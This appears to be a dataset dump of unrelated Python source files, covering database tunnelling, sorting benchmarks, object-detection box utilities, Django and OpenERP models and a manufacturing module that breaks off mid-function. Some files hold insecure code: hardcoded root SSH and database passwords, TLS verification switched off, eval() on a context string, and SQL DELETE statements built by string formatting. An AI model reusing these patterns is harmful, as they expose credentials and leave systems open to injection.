text stringlengths 8 6.05M |
|---|
# coding=utf-8
from sshtunnel import SSHTunnelForwarder
import pymysql
import requests
import re
import time
import json
def create_conn():
server = SSHTunnelForwarder(
'serverB_ip', # B机器的配置
ssh_password='Data4truth.com',
ssh_username='root',
remote_bind_address=('serverSQL_ip', 3306) # 数据库服务器配置
)
server.start()
# print(server.local_bind_port)
conn = pymysql.connect(
host='127.0.0.1',
port=server.local_bind_port,
user='edutest',
password='Data4truth.com',
database='testeducation',
)
return (server, conn)
def re_findall(pattern, text):
re_object = re.compile(pattern)
results = re.findall(re_object, text)
return results
def re_match(pattern, text):
re_object = re.compile(pattern)
flag = re.match(re_object, text)
return flag
def get_token(login_url='https://test2.data4truth.com/student/login/login', username='17601006087', password='123456'):
data = {"phoneNumber": username,
"password": password}
res = requests.post(url=login_url, json=data, verify=False)
res_json = json.loads(res.content)
# print(type(res_json))
token = res_json["data"]["token"]
return token
def remove_token():
pass
def local_time():
time1 = time.strftime("%Y-%m-%d %X", time.localtime())
time.sleep(1)
return time1
def local_date():
local_data = time.strftime("%Y-%m-%d", time.localtime())
return local_data
if __name__ == '__main__':
# (server, conn) = create_conn()
# with conn.cursor() as cursor:
# cursor.execute("SELECT point_unit FROM `point_textbook` GROUP BY point_unit")
# res = cursor.fetchall()
# conn.close()
# server.close()
# with open("unit_id.csv", 'a+') as fp:
# for unit_id in res:
# fp.write(unit_id[0]+'\n')
get_token()
|
#coding=utf-8
#算法复杂度参考 http://blog.sina.com.cn/s/blog_771849d301010ta0.html
#left,right, loop
#1. This is a test,so add time decorator to test
#2. But 1000 random will cause sort_quick out of interation, then need to change sys.setrecursionlimit(1500)
#3. But 50000 random will cause python error. then use find_recursionlimit.py to check, found current sys Max is 15200
'''
sort_bubble cost 18.666366 second
sort_insert cost 10.140411 second
sort_quick cost 11.785992000000004 second
==============10000 END================
sort_bubble cost 519.985739 second
sort_insert cost 310.2120050000001 second
Process finished with exit code 139 (interrupted by signal 11: SIGSEGV)
-------------------
Limit of 15200 is fine
recurse
add
Segmentation fault: 11
bogon:~ hbai$ python find_recursionlimit.py
'''
import time
def time_me(fn):
def _wrapper(*args,**kwargs):
start = time.clock()
fn(*args,**kwargs)
print("%s cost %s second" % (fn.__name__,time.clock()-start))
return _wrapper
#@time_me 递归函数不适合使用装饰器
#复杂度 O(nlog(n))
def sort_quick(nums,left,right):
if left >= right:
return nums
low = left
high = right
key = nums[left]
while left < right:
while left < right and nums[right] >= key:
right -=1
nums[left] = nums[right]
while left < right and nums[left] <=key:
left+=1
nums[right] = nums[left]
nums[right] = key
sort_quick(nums,left,low-1)
sort_quick(nums,low+1,high)
return nums
@time_me
#复杂度 O(n^2)
def sort_insert(nums):
for i in range(1,len(nums)):
key = nums[i]
j = i -1
while j >= 0:
if nums[j] > key:
nums[j+1],nums[j] = nums[j],key
j -= 1
return nums
@time_me
#need switch key[j],key[j+1] after cmp,#复杂度 O(n^2)
def sort_bubble(nums):
for i in range(0,len(nums)-1):
for j in range(0,len(nums)-i-1):
if nums[j] > nums[j+1]:
nums[j+1],nums[j] = nums[j],nums[j+1]
return nums
# @time_me
# def test(x,y):
# time.sleep(0.2)
# return True
#
# test(1,2)
nums = [9,3,6,5,2,1]
sort_bubble(nums)
nums = [9,3,6,5,2,1]
print(sort_insert(nums))
nums = [9,3,6,5,2,1]
start = time.clock()
print(sort_quick(nums,0,len(nums)-1))
print("%s cost %s second" % ("sort_quick",time.clock()-start))
print("==============sample END================")
import random
nums = [int(10000*random.random()) for i in range(10000)]
sort_bubble(nums)
sort_insert(nums)
start = time.clock()
import sys
sys.setrecursionlimit(15000)
sort_quick(nums,0,len(nums)-1)
sys.setrecursionlimit(100)
print("%s cost %s second" % ("sort_quick",time.clock()-start))
print("==============10000 END================")
# nums = [int(13000*random.random()) for i in range(13000)]
# sort_bubble(nums)
# sort_insert(nums)
# start = time.clock()
# import sys
# sys.setrecursionlimit(15000)
# sort_quick(nums,0,len(nums)-1)
# sys.setrecursionlimit(100)
# print("%s cost %s second" % ("sort_quick",time.clock()-start))
# print("==============13000 END================")
|
# -*- coding: utf-8 -*-
##############################################################################
#
# Authors: Boris Timokhin, Dmitry Zhuravlev-Nevsky. Copyright InfoSreda LLC
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
from openobject.widgets import JSLink, CSSLink
from openerp.widgets import register_widget
from openerp.widgets.form import Char
class MaskedWidget(Char):
template = 'web_mask_widget/widgets/templates/masked.mako'
javascript = [JSLink("web_mask_widget", "javascript/jquery.maskedinput-1.3.min.js")]
params = ['mask']
def __init__(self, *args, **kwargs):
super(MaskedWidget, self).__init__(*args, **kwargs)
self.mask = eval(kwargs.pop('context'))['mask']
register_widget(MaskedWidget, ["masked"])
|
# -*- coding: utf-8 -*-
import torch
def point_form(boxes):
""" Convert prior_boxes to (xmin, ymin, xmax, ymax)
representation for comparison to point form ground truth data.
Args:
boxes: (tensor) center-size default boxes from priorbox layers.
Return:
boxes: (tensor) Converted xmin, ymin, xmax, ymax form of boxes.
"""
return torch.cat((boxes[:, :2] - boxes[:, 2:]/2, # xmin, ymin
boxes[:, :2] + boxes[:, 2:]/2), 1) # xmax, ymax
def center_size(boxes):
""" Convert prior_boxes to (cx, cy, w, h)
representation for comparison to center-size form ground truth data.
Args:
boxes: (tensor) point_form boxes
Return:
boxes: (tensor) Converted xmin, ymin, xmax, ymax form of boxes.
"""
return torch.cat([(boxes[:, 2:] + boxes[:, :2])/2, # cx, cy
boxes[:, 2:] - boxes[:, :2]], 1) # w, h
def intersect(box_a, box_b):
""" We resize both tensors to [A,B,2] without new malloc:
[A,2] -> [A,1,2] -> [A,B,2]
[B,2] -> [1,B,2] -> [A,B,2]
Then we compute the area of intersect between box_a and box_b.
Args:
box_a: (tensor) bounding boxes, Shape: [A,4].
box_b: (tensor) bounding boxes, Shape: [B,4].
Return:
(tensor) intersection area, Shape: [A,B].
"""
A = box_a.size(0)
B = box_b.size(0)
max_xy = torch.min(box_a[:, 2:].unsqueeze(1).expand(A, B, 2),
box_b[:, 2:].unsqueeze(0).expand(A, B, 2))
min_xy = torch.max(box_a[:, :2].unsqueeze(1).expand(A, B, 2),
box_b[:, :2].unsqueeze(0).expand(A, B, 2))
inter = torch.clamp((max_xy - min_xy), min=0)
return inter[:, :, 0] * inter[:, :, 1]
def jaccard(box_a, box_b):
"""Compute the jaccard overlap of two sets of boxes. The jaccard overlap
is simply the intersection over union of two boxes. Here we operate on
ground truth boxes and default boxes.
E.g.:
A ∩ B / A ∪ B = A ∩ B / (area(A) + area(B) - A ∩ B)
Args:
box_a: (tensor) Ground truth bounding boxes, Shape: [num_objects,4]
box_b: (tensor) Prior boxes from priorbox layers, Shape: [num_priors,4]
Return:
jaccard overlap: (tensor) Shape: [box_a.size(0), box_b.size(0)]
"""
inter = intersect(box_a, box_b)
area_a = ((box_a[:, 2]-box_a[:, 0]) *
(box_a[:, 3]-box_a[:, 1])).unsqueeze(1).expand_as(inter) # [A,B]
area_b = ((box_b[:, 2]-box_b[:, 0]) *
(box_b[:, 3]-box_b[:, 1])).unsqueeze(0).expand_as(inter) # [A,B]
union = area_a + area_b - inter
return inter / union # [A,B]
def match(threshold, truths, priors, variances, labels, loc_t, conf_t, idx, visualize=False):
"""Match each prior box with the ground truth box of the highest jaccard
overlap, encode the bounding boxes, then return the matched indices
corresponding to both confidence and location preds.
Args:
threshold: (float) The overlap threshold used when mathing boxes.
truths: (tensor) Ground truth boxes, Shape: [num_obj, num_priors].
priors: (tensor) Prior boxes from priorbox layers, Shape: [n_priors,4].
variances: (tensor) Variances corresponding to each prior coord,
Shape: [num_priors, 4].
labels: (tensor) All the class labels for the image, Shape: [num_obj].
loc_t: (tensor) Tensor to be filled w/ endcoded location targets.
conf_t: (tensor) Tensor to be filled w/ matched indices for conf preds.
idx: (int) current batch index
Return:
The matched indices corresponding to 1)location and 2)confidence preds.
"""
# jaccard index
overlaps = jaccard(
truths,
point_form(priors)
)
# (Bipartite Matching)
# [1,num_objects] best prior for each ground truth
best_prior_overlap, best_prior_idx = overlaps.max(1, keepdim=True)
# [1,num_priors] best ground truth for each prior
best_truth_overlap, best_truth_idx = overlaps.max(0, keepdim=True)
#tmp = best_truth_overlap.repeat(truths.size(0), 1) - overlaps
#(torch.sum(tmp > 0.2, dim=0) == 3) * (best_truth_overlap.squeeze() > threshold)
best_truth_idx.squeeze_(0)
best_truth_overlap.squeeze_(0)
best_prior_idx.squeeze_(1)
best_prior_overlap.squeeze_(1)
best_truth_idx[best_prior_idx] = torch.arange(best_prior_idx.size(0))
#print(best_truth_idx[best_prior_idx])
#best_truth_overlap.index_fill_(0, best_prior_idx, 2) # ensure best prior
# ensure every gt matches with its prior of max overlap
for j in range(best_prior_idx.size(0)):
best_truth_idx[best_prior_idx[j]] = j
#print(best_truth_idx[best_prior_idx])
#print("")
matches = truths[best_truth_idx] # Shape: [num_priors,4]
conf = labels[best_truth_idx] + 1 # Shape: [num_priors]
conf[best_truth_overlap < threshold] = 0 # label as background
if visualize:
return overlaps, conf
loc = encode(matches, priors, variances)
loc_t[idx] = loc # [num_priors,4] encoded offsets to learn
conf_t[idx] = conf # [num_priors] top class label for each prior
def encode(matched, priors, variances):
"""Encode the variances from the priorbox layers into the ground truth boxes
we have matched (based on jaccard overlap) with the prior boxes.
Args:
matched: (tensor) Coords of ground truth for each prior in point-form
Shape: [num_priors, 4].
priors: (tensor) Prior boxes in center-offset form
Shape: [num_priors,4].
variances: (list[float]) Variances of priorboxes
Return:
encoded boxes (tensor), Shape: [num_priors, 4]
"""
# dist b/t match center and prior's center
g_cxcy = (matched[:, :2] + matched[:, 2:])/2 - priors[:, :2]
# encode variance
g_cxcy /= (variances[0] * priors[:, 2:])
# match wh / prior wh
g_wh = (matched[:, 2:] - matched[:, :2]) / priors[:, 2:]
g_wh = torch.log(g_wh) / variances[1]
# return target for smooth_l1_loss
return torch.cat([g_cxcy, g_wh], 1) # [num_priors,4]
# Adapted from https://github.com/Hakuyume/chainer-ssd
def decode(loc, priors, variances):
"""Decode locations from predictions using priors to undo
the encoding we did for offset regression at train time.
Args:
loc (tensor): location predictions for loc layers,
Shape: [num_priors,4]
priors (tensor): Prior boxes in center-offset form.
Shape: [num_priors,4].
variances: (list[float]) Variances of priorboxes
Return:
decoded bounding box predictions
"""
boxes = torch.cat((
priors[:, :2] + loc[:, :2] * variances[0] * priors[:, 2:],
priors[:, 2:] * torch.exp(loc[:, 2:] * variances[1])), 1)
boxes[:, :2] -= boxes[:, 2:] / 2
boxes[:, 2:] += boxes[:, :2]
return boxes
def log_sum_exp(x):
"""Utility function for computing log_sum_exp while determining
This will be used to determine unaveraged confidence loss across
all examples in a batch.
Args:
x (Variable(tensor)): conf_preds from conf layers
"""
x_max = x.data.max()
return torch.log(torch.sum(torch.exp(x-x_max), 1, keepdim=True)) + x_max
# Original author: Francisco Massa:
# https://github.com/fmassa/object-detection.torch
# Ported to PyTorch by Max deGroot (02/01/2017)
def nms(boxes, scores, overlap=0.5, top_k=200):
"""Apply non-maximum suppression at test time to avoid detecting too many
overlapping bounding boxes for a given object.
Args:
boxes: (tensor) The location preds for the img, Shape: [num_priors,4].
scores: (tensor) The class predscores for the img, Shape:[num_priors].
overlap: (float) The overlap thresh for suppressing unnecessary boxes.
top_k: (int) The Maximum number of box preds to consider.
Return:
The indices of the kept boxes with respect to num_priors.
"""
keep = scores.new(scores.size(0)).zero_().long()
if boxes.numel() == 0:
return keep
x1 = boxes[:, 0]
y1 = boxes[:, 1]
x2 = boxes[:, 2]
y2 = boxes[:, 3]
area = torch.mul(x2 - x1, y2 - y1)
v, idx = scores.sort(0) # sort in ascending order
# I = I[v >= 0.01]
idx = idx[-top_k:] # indices of the top-k largest vals
xx1 = boxes.new()
yy1 = boxes.new()
xx2 = boxes.new()
yy2 = boxes.new()
w = boxes.new()
h = boxes.new()
# keep = torch.Tensor()
count = 0
while idx.numel() > 0:
i = idx[-1] # index of current largest val
# keep.append(i)
keep[count] = i
count += 1
if idx.size(0) == 1:
break
idx = idx[:-1] # remove kept element from view
# load bboxes of next highest vals
torch.index_select(x1, 0, idx, out=xx1)
torch.index_select(y1, 0, idx, out=yy1)
torch.index_select(x2, 0, idx, out=xx2)
torch.index_select(y2, 0, idx, out=yy2)
# store element-wise max with next highest score
xx1 = torch.clamp(xx1, min=x1[i])
yy1 = torch.clamp(yy1, min=y1[i])
xx2 = torch.clamp(xx2, max=x2[i])
yy2 = torch.clamp(yy2, max=y2[i])
w.resize_as_(xx2)
h.resize_as_(yy2)
w = xx2 - xx1
h = yy2 - yy1
# check sizes of xx1 and xx2.. after each iteration
w = torch.clamp(w, min=0.0)
h = torch.clamp(h, min=0.0)
inter = w*h
# IoU = i / (area(a) + area(b) - i)
rem_areas = torch.index_select(area, 0, idx) # load remaining areas)
union = (rem_areas - inter) + area[i]
IoU = inter/union # store result in iou
# keep only elements with an IoU <= overlap
idx = idx[IoU.le(overlap)]
return keep, count
def add_noise(bboxes, kernel_size, v3_form):
ratios = (bboxes[:, 2] - bboxes[:, 0]) / (bboxes[:, 3] - bboxes[:, 1])
max_length = torch.max(torch.stack(((bboxes[:, 2] - bboxes[:, 0]), (bboxes[:, 3] - bboxes[:, 1])), dim=1), dim=1)[0]
# ratios计算方法为宽高比,所以small_idx代表比较高的box
small_idx = ratios < 1
one_idx = (ratios >= 0.9) * (ratios <= 1.1)
# 将ratios中所有小于1的index取倒数
ratios[small_idx] = 1 / ratios[small_idx]
# offsets = ratios / (kernel_size ** 2)
# offsets = (torch.tanh(0.3 * (ratios - 5)) / 2 + 0.5) * max_length / (kernel_size ** 2)
offsets = torch.tanh(0.25 * ratios) * max_length / (kernel_size ** 2)
offsets[one_idx] = 0
offsets = offsets.unsqueeze(-1).repeat(1, 2 * kernel_size ** 2)
assert kernel_size == 3, "偏移量是为kernel size=3时设计的"
if v3_form:
distortion = torch.FloatTensor([0, -1, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1]).cuda(
bboxes.device.index)
else:
distortion = torch.FloatTensor([-1, 0, -1, 0, -1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0]).cuda(
bboxes.device.index)
distortion2 = distortion.view(kernel_size, kernel_size, 2).permute(1, 0, 2)[:, :, (1, 0)].contiguous().view(-1)
distortions = distortion.unsqueeze(0).repeat(bboxes.size(0), 1)
distortions[small_idx] = distortion2
distortions = distortions * offsets
noise = torch.randn(distortions.size(0)) < 0
# 产生随机偏移方向。如果box较高,左侧的centroid会向上也会向下偏移(右侧与左侧相反)
# 如果box较宽,上方的点会向左或向右偏移(上方与下方偏移方向相反)
distortions[noise] = distortions[noise] * -1
return distortions
def center_conv_point(bboxes, kernel_size=3, c_min=0, c_max=1, v3_form=False):
"""In a parallel manner also keeps the gradient during BP"""
#bboxes.clamp_(min=c_min, max=c_max)
if v3_form:
base = torch.cat([bboxes[:, :2][:, (1, 0)]] * (kernel_size ** 2), dim=1)
else:
base = torch.cat([bboxes[:, :2]] * (kernel_size ** 2), dim=1)
multiplier = torch.tensor([(2 * i + 1) / kernel_size / 2
for i in range(kernel_size)]).cuda(bboxes.device.index)
# multiplier生成的时候顺序先从上往下数,再从左往右数
# 应当换成先从左往右数,再从上往下数的顺序,所以有了[:, :, (1, 0)]
multiplier = torch.stack(torch.meshgrid([multiplier, multiplier]),
dim=-1).contiguous().view(-1)
multiplier = multiplier.unsqueeze(0).repeat(bboxes.size(0), 1)
if v3_form:
center = torch.stack([bboxes[:, 3] - bboxes[:, 1], bboxes[:, 2] - bboxes[:, 0]], dim=-1)
else:
center = torch.stack([bboxes[:, 2] - bboxes[:, 0], bboxes[:, 3] - bboxes[:, 1]], dim=-1)
center = torch.cat([center] * (kernel_size ** 2), dim=1)
return base + center * multiplier# + distortions
def measure(pred_boxes, gt_boxes, width, height):
if gt_boxes.size(0) == 0 and pred_boxes.size(0) == 0:
return 1.0, 1.0, 1.0
elif gt_boxes.size(0) == 0 and pred_boxes.size(0) != 0:
return 0.0, 0.0, 0.0
elif gt_boxes.size(0) != 0 and pred_boxes.size(0) == 0:
return 0.0, 0.0, 0.0
else:
"""
scale = torch.Tensor([width, height, width, height])
canvas_p, canvas_g = [torch.zeros(height, width).byte()] * 2
if pred_boxes.is_cuda or gt_boxes.is_cuda:
scale = scale.cuda()
canvas_p = canvas_p.cuda()
canvas_g = canvas_g.cuda()
max_size = max(width, height)
scaled_p = (scale.unsqueeze(0).expand_as(pred_boxes) * pred_boxes).long().clamp_(0, max_size)
scaled_g = (scale.unsqueeze(0).expand_as(gt_boxes) * gt_boxes).long().clamp_(0, max_size)
for g in scaled_g:
canvas_g[g[0]:g[2], g[1]:g[3]] = 1
for p in scaled_p:
canvas_p[p[0]:p[2], p[1]:p[3]] = 1
inter = canvas_g * canvas_p
union = canvas_g + canvas_p >= 1
vb.plot_tensor(args, inter.permute(1, 0).unsqueeze(0).unsqueeze(0), margin=0, path=PIC+"tmp_inter.jpg")
vb.plot_tensor(args, union.permute(1, 0).unsqueeze(0).unsqueeze(0), margin=0, path=PIC+"tmp_union.jpg")
vb.plot_tensor(args, canvas_g.permute(1, 0).unsqueeze(0).unsqueeze(0), margin=0, path=PIC+"tmp_gt.jpg")
vb.plot_tensor(args, canvas_p.permute(1, 0).unsqueeze(0).unsqueeze(0), margin=0, path=PIC+"tmp_pd.jpg")
"""
inter = intersect(pred_boxes, gt_boxes)
text_area = get_box_size(pred_boxes)
gt_area = get_box_size(gt_boxes)
num_sample = max(text_area.size(0), gt_area.size(0))
accuracy = torch.sum(jaccard(pred_boxes, gt_boxes).max(0)[0]) / num_sample
precision = torch.sum(inter.max(1)[0] / text_area) / num_sample
recall = torch.sum(inter.max(0)[0] / gt_area) / num_sample
return float(accuracy), float(precision), float(recall)
def get_box_size(box):
"""
calculate the bound box size
"""
return (box[:, 2]-box[:, 0]) * (box[:, 3]-box[:, 1])
def coord_to_rect(coord, height, width):
"""
Convert 4 point boundbox coordinate to matplotlib rectangle coordinate
"""
x1, y1, x2, y2 = coord[0], coord[1], coord[2] - coord[0], coord[3] - coord[1]
return int(x1 * width), int(y1 * height), int(x2 * width), int(y2 * height)
def get_parameter(param):
"""
Convert input parameter to two parameter if they are lists or tuples
Mainly used in tb_vis.py and tb_model.py
"""
if type(param) is list or type(param) is tuple:
assert len(param) == 2, "input parameter shoud be either scalar or 2d list or tuple"
p1, p2 = param[0], param[1]
else:
p1, p2 = param, param
return p1, p2
def calculate_anchor_number(cfg, i):
return 2 + 2* len(cfg['aspect_ratios'][i]) |
import time
from env import Env
from agent import Agent
# Init
env=Env((5,6))
a1=Agent(env)
env.reset()
step_cnt=0
# Train
for ep in range(1000):
exp=env.step(a1)
step_cnt=step_cnt+1
a1.update(exp)
if step_cnt==10 or exp[-1]==True:
env.reset()
step_cnt=0
print("Episode: {}".format(ep))
# Test run trained policy
env.reset()
env.setTesting()
isDone=False
while not isDone:
_,_,_,_,isDone=env.step(a1)
time.sleep(0.3)
|
import json
import subprocess as sp
def ffprobe(file: str, ffprobe_binary: str = "ffprobe") -> dict:
proc = sp.Popen(
[
ffprobe_binary,
"-v",
"quiet",
"-print_format",
"json",
"-show_format",
"-show_streams",
file,
],
stdout=sp.PIPE,
stderr=sp.PIPE,
universal_newlines=True,
)
out, _ = proc.communicate()
return json.loads(out)
|
# This file is part of Buildbot. Buildbot is free software: you can
# redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation, version 2.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 51
# Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Copyright Buildbot Team Members
import sqlalchemy as sa
def upgrade(migrate_engine):
metadata = sa.MetaData()
metadata.bind = migrate_engine
# re-include some of the relevant tables, as they were in version 3, since
# sqlalchemy's reflection doesn't work very well for defaults
sa.Table("schedulers", metadata,
sa.Column('schedulerid', sa.Integer, autoincrement=False, primary_key=True),
sa.Column('name', sa.String(128), nullable=False),
sa.Column('state', sa.String(1024), nullable=False),
sa.Column('class_name', sa.Text, nullable=False, server_default=sa.DefaultClause(''))
)
sa.Table('changes', metadata,
sa.Column('changeid', sa.Integer, autoincrement=False, primary_key=True),
sa.Column('author', sa.String(1024), nullable=False),
sa.Column('comments', sa.String(1024), nullable=False),
sa.Column('is_dir', sa.SmallInteger, nullable=False),
sa.Column('branch', sa.String(1024)),
sa.Column('revision', sa.String(256)),
sa.Column('revlink', sa.String(256)),
sa.Column('when_timestamp', sa.Integer, nullable=False),
sa.Column('category', sa.String(256)),
sa.Column('repository', sa.Text, nullable=False, server_default=sa.DefaultClause('')),
sa.Column('project', sa.Text, nullable=False, server_default=sa.DefaultClause('')),
)
sa.Table('sourcestamps', metadata,
sa.Column('id', sa.Integer, autoincrement=False, primary_key=True),
sa.Column('branch', sa.String(256)),
sa.Column('revision', sa.String(256)),
sa.Column('patchid', sa.Integer, sa.ForeignKey('patches.id')),
sa.Column('repository', sa.Text, nullable=False, server_default=''),
sa.Column('project', sa.Text, nullable=False, server_default=''),
)
to_autoinc = [ s.split(".") for s in
"schedulers.schedulerid",
"builds.id",
"changes.changeid",
"buildrequests.id",
"buildsets.id",
"patches.id",
"sourcestamps.id",
]
# It seems that SQLAlchemy's ALTER TABLE doesn't work when migrating from
# INTEGER to PostgreSQL's SERIAL data type (which is just pseudo data type
# for INTEGER with SEQUENCE), so we have to work-around this with raw SQL.
if migrate_engine.dialect.name in ('postgres', 'postgresql'):
for table_name, col_name in to_autoinc:
migrate_engine.execute("CREATE SEQUENCE %s_%s_seq"
% (table_name, col_name))
migrate_engine.execute("ALTER TABLE %s ALTER COLUMN %s SET DEFAULT nextval('%s_%s_seq'::regclass)"
% (table_name, col_name, table_name, col_name))
migrate_engine.execute("ALTER SEQUENCE %s_%s_seq OWNED BY %s.%s"
% (table_name, col_name, table_name, col_name))
else:
for table_name, col_name in to_autoinc:
table = sa.Table(table_name, metadata, autoload=True)
col = table.c[col_name]
col.alter(autoincrement=True)
# also drop the changes_nextid table here (which really should have been a
# sequence..)
table = sa.Table('changes_nextid', metadata, autoload=True)
table.drop()
|
# -*- coding: utf-8 -*-
from django.db import models
from account.models import User
from products.models import Product
PAYMENT_STATUS_CHOICES = [
('PENDING','Pending'),
('DONE','Done'),
]
PAYMENT_METHOD_CHOICES = [
('COD','Cash on Delivery'),
('CREDIT','credit'),
('DEBIT','debit'),
]
ORDER_STATUS = [
('PENDING','Pending'),
('ONWAY','On the Way'),
('DONE','Done'),
]
class Checkout(models.Model):
user = models.ForeignKey(User,on_delete=models.CASCADE)
address = models.TextField()
city = models.CharField(max_length=50)
state = models.CharField(max_length=50)
zipcode = models.PositiveIntegerField()
amount = models.PositiveIntegerField()
payment_status = models.CharField(choices=PAYMENT_STATUS_CHOICES, max_length=50,default="PENDING")
payment_method = models.CharField(choices=PAYMENT_METHOD_CHOICES, max_length=50)
def __str__(self):
return str(self.id)
class Order(models.Model):
user = models.ForeignKey(User,on_delete=models.CASCADE)
checkout = models.ForeignKey(Checkout,on_delete=models.CASCADE,verbose_name = u'Checkout Details')
order_status = models.CharField(choices=ORDER_STATUS, max_length=50,default="PENDING")
def __str__(self):
return str(self.id)
class OrderItem(models.Model):
order_id = models.ForeignKey(Order,on_delete=models.CASCADE)
product_id = models.ForeignKey(Product,on_delete=models.CASCADE)
order_qty = models.PositiveIntegerField()
price = models.PositiveIntegerField()
def __str__(self):
return self.order_id.user.email
|
import requests
import json
from tkinter import *
window = Tk()
window.title('Covid-19')
window.geometry('220x70')
lbl = Label(window,
text = "Total archive case:-.....")
lbl1 = Label(window,
text = "Total confirmed cases:-...")
lbl.grid(column=1, row=0)
lbl1.grid(column=1, row=1)
lbl2 = Label(window, text="")
lbl2.grid(column=1, row=3)
def clicked():
url = "https://api.covid19india.org/v4/min/data-all.min.json"
page = requests.get(url)
data = json.load(page.text)
lbl.configure(text = "Total active cases:-"
+ data["statewise"][0]["active"])
lbl1.configure(text = "Total confirmed cases:-"
+ data["statewise"][0]["confirmed"])
lbl2.configure(text="Data refreshed")
btn = Button(window, text="Refresh", command = clicked)
btn.grid(column=2, row=0)
window.mainloop() |
from rest_framework import serializers
from snippets.models import Snippet
# Serializer는 언제 필요한지
# Post가 있을 경우
# List PostSerializer
# Retrieve PostRetrieveSerializer
# Update PostUpdateSerializer
# Create PostCreateSerializer
class SnippetSerializer(serializers.ModelSerializer):
class Meta:
model = Snippet
fields = ['pk', 'author', 'title', 'code', 'linenos', 'language', 'style', 'created']
# # 데이터를 보낸다는 것은 2가지 의미를 갖는다
# # 1. 새로운 데이터를 추가
# # 2. 기존의 데이터를 업데이트
# def create(self, validated_data):
# return Snippet.objects.create(**validated_data)
#
# # instance 는 python custom object 이다.
# # validated data 는 update가 될 데이터
# def update(self, instance, validated_data):
# for key, value in validated_data:
# setattr(instance, key, value)
# # instance.a = 'apple' 와 setattr(instance, a, 'apple') 와 동일
# instance.save()
# return instance
class SnippetCreateSerializer(serializers.ModelSerializer):
class Meta:
model = Snippet
fields = ('title', 'code', 'linenos', 'language', 'style', 'created')
def to_representation(self, instance):
return SnippetSerializer(instance).data
|
# -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
from openerp.osv import fields, osv
from openerp import netsvc
from openerp.tools import float_compare
class mrp_bom(osv.osv):
_inherit = 'mrp.bom'
_columns = {
'motriz': fields.boolean('Motriz', help="Si es seleccionado de este producto se tomara la serial, para el producto finalizado."),
}
mrp_bom()
class mrp_production(osv.osv):
_inherit = 'mrp.production'
_columns ={
'move_lines': fields.many2many('stock.move', 'mrp_production_move_ids', 'production_id', 'move_id', 'Products to Consume',domain=[('state','not in', ('done', 'cancel'))],readonly=True,
states={'draft':[('readonly',False)],'confirmed':[('readonly',False)],'ready':[('readonly',False)]}),
}
def button_reiniciar_consumo(self,cr,uid,ids,context=None):
#select * from mrp_production_move_ids order by production_id desc limit 1
for produccion in self.browse(cr,uid,ids,context):
cr.execute("delete from stock_move where name = '%s' "%produccion.name)
cr.execute("delete from mrp_production_move_ids where production_id = '%d' "%produccion.id)
self.write(cr,uid,ids,{'state': 'draft'})
wf_service = netsvc.LocalService("workflow")
wf_service.trg_create(uid, 'mrp.production', produccion.id, cr)
return True
def action_produce(self, cr, uid, production_id, production_qty, production_mode, context=None):
""" To produce final product based on production mode (consume/consume&produce).
If Production mode is consume, all stock move lines of raw materials will be done/consumed.
If Production mode is consume & produce, all stock move lines of raw materials will be done/consumed
and stock move lines of final product will be also done/produced.
@param production_id: the ID of mrp.production object
@param production_qty: specify qty to produce
@param production_mode: specify production mode (consume/consume&produce).
@return: True
"""
id_produccion = context['active_id']
obj_produccion = self.browse(cr,uid,id_produccion)
obj_lista_materiales = self.pool.get('mrp.bom').browse(cr,uid,obj_produccion.bom_id.id)
#se busca el producto motriz de la lista de materiales
id_motriz = False
id_producto_motriz = False
for o in obj_lista_materiales.bom_lines:
if o.motriz == True:
id_motriz= o.id
id_producto_motriz = o.product_id.id
break
serial = []
stock_mov_obj = self.pool.get('stock.move')
production = self.browse(cr, uid, production_id, context=context)
#verificar que las seriales sean ingresadas en el producto motriz
#verificar que las seriales sean ingresadas en el producto motriz
for consum_prod in production.move_lines:
print consum_prod.id
if consum_prod.product_id.id == id_producto_motriz:
if not consum_prod.prodlot_id:
raise osv.except_osv(('Error!'), ('debe Ingresar la serial para los productos Motrices '))
for consum_prod2 in production.move_lines:
if consum_prod.prodlot_id:
if consum_prod.id != consum_prod2.id and consum_prod.prodlot_id.id == consum_prod2.prodlot_id.id:
raise osv.except_osv(('Error!'), ('La serial debe ser unica por producto'))
else :continue
wf_service = netsvc.LocalService("workflow")
if not production.move_lines and production.state == 'ready':
# trigger workflow if not products to consume (eg: services)
wf_service.trg_validate(uid, 'mrp.production', production_id, 'button_produce', cr)
produced_qty = 0
for produced_product in production.move_created_ids2:
if (produced_product.scrapped) or (produced_product.product_id.id != production.product_id.id):
continue
produced_qty += produced_product.product_qty
if production_mode in ['consume','consume_produce']:
consumed_data = {}
# Calculate already consumed qtys
for consumed in production.move_lines2:
if consumed.scrapped:
continue
if not consumed_data.get(consumed.product_id.id, False):
consumed_data[consumed.product_id.id] = 0
consumed_data[consumed.product_id.id] += consumed.product_qty
# Find product qty to be consumed and consume it
for scheduled in production.product_lines:
# total qty of consumed product we need after this consumption
total_consume = ((production_qty + produced_qty) * scheduled.product_qty / production.product_qty)
# qty available for consume and produce
